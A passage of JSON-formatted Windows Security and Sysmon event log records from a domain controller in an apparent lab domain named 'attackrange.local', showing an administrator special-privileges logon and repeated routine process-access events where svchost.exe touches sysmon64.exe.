","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{3DE42524-4668-AE12-7021-711AFB58ED19}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221963,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x777C0\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x777c0","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4862,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.305\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.305","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4863,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.305\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.305","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4864,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.305\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.305","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4865,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.305\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.305","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4866,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.305\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.305","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4867,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.305\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.305","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4868,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.305\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.305","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4869,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.305\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 